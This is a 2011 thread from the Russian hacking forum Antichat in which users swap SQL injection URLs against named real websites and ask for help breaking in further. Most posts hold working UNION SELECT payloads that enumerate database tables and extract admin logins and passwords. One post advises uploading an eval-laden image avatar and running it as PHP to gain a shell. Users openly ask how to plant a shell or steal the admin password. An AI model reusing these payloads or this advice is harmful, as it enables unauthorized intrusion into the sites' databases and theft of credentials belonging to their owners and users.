28.09.2011, 17:16
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами:
8866466
Репутация:
564
|
|
Регайся в ресурсе и загрузи в профиле eval аватарку и так же вызови файл
http://uk.generic4all.com/upload_files/product_images/myevilavatar.png/.php
прочитай еще это http://habrahabr.ru/blogs/sysadm/100961/
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|
28.09.2011, 21:17
|
|
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
С нами:
7712246
Репутация:
23
|
|
Какая установлена база на сайте? MySQL, Orale, PostgreSQL и Ibase не определяются , что дальше делать не знаю.
http://www.pharmaoffshore[antigoogle].com/customer_testimonials.php?testimonial_id=-4+union+select+null,null,null,null,null,null,null, null,null+--+
|
|
|
|
30.09.2011, 13:09
|
|
Участник форума
Регистрация: 12.07.2010
Сообщений: 190
С нами:
8334326
Репутация:
0
|
|
Сообщение от None
http://board.biznews.com.ua/export.php?t=php&n=5&c=0&r=455+UNION%20SELECT%201, 2,3,4,concat(table_schema,0x2e,TABLE_NAME)%20FROM% 20INFORMATION_SCHEMA.TABLES#
Что мсжно делать дальше?
|
|
|
|
30.09.2011, 13:18
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от .Light.
Что мсжно делать дальше?
Код HTML:
http://board.biznews.com.ua/export.php?t=php&n=5&c=0&r=455+UNION%20SELECT%201,2,3,4,group_concat(TABLE_NAME)%20FROM%20INFORMATION_SCHEMA.TABLES
|
|
|
|
30.09.2011, 15:13
|
|
Участник форума
Регистрация: 12.07.2010
Сообщений: 190
С нами:
8334326
Репутация:
0
|
|
Сообщение от d1v
Код HTML:
http://board.biznews.com.ua/export.php?t=php&n=5&c=0&r=455+UNION%20SELECT%201,2,3,4,group_concat(TABLE_NAME)%20FROM%20INFORMATION_SCHEMA.TABLES
Как можно залить шелл??Или выдернуть пасс админа?
|
|
|
|
30.09.2011, 15:17
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от .Light.
Как можно залить шелл??Или выдернуть пасс админа?
а ты статейки почитай милок...не все же за тебя делать надо.
|
|
|
|
30.09.2011, 15:30
|
|
Участник форума
Регистрация: 12.07.2010
Сообщений: 190
С нами:
8334326
Репутация:
0
|
|
Сообщение от Gorev
а ты статейки почитай милок...не все же за тебя делать надо.
До меня быстрей доходит на примерах.
|
|
|
|
30.09.2011, 17:37
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от er9j6@
Какая установлена база на сайте? MySQL, Orale, PostgreSQL и Ibase не определяются , что дальше делать не знаю.
http://www.pharmaoffshore[antigoogle].com/customer_testimonials.php?testimonial_id=-4+union+select+null,null,null,null,null,null,null, null,null+--+
Если честно - я не увидел тут скулю.
|
|
|
|
30.09.2011, 17:51
|
|
Участник форума
Регистрация: 26.06.2010
Сообщений: 179
С нами:
8357366
Репутация:
6
|
|
>До меня быстрей доходит на примерах.
Сообщение от None
http://board.biznews.com.ua/export.php?t=php&n=5&c=0&r=455+UNION%20SELECT%201, 2,3,4,group_concat(login,0x3a,password)%20FROM%20j b_admin
И мне помогите со скульей:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//cdo.kz/ru/default/index/search?q={SQL-CODE}[/COLOR][/COLOR]
|
|
|
|
30.09.2011, 18:51
|
|
Познающий
Регистрация: 06.01.2009
Сообщений: 69
С нами:
9128075
Репутация:
3
|
|
Сообщение от Kuteke
>До меня быстрей доходит на примерах.
И мне помогите со скульей:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//cdo.kz/ru/default/index/search?q={SQL-CODE}[/COLOR][/COLOR]
по-моему, скули нету...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
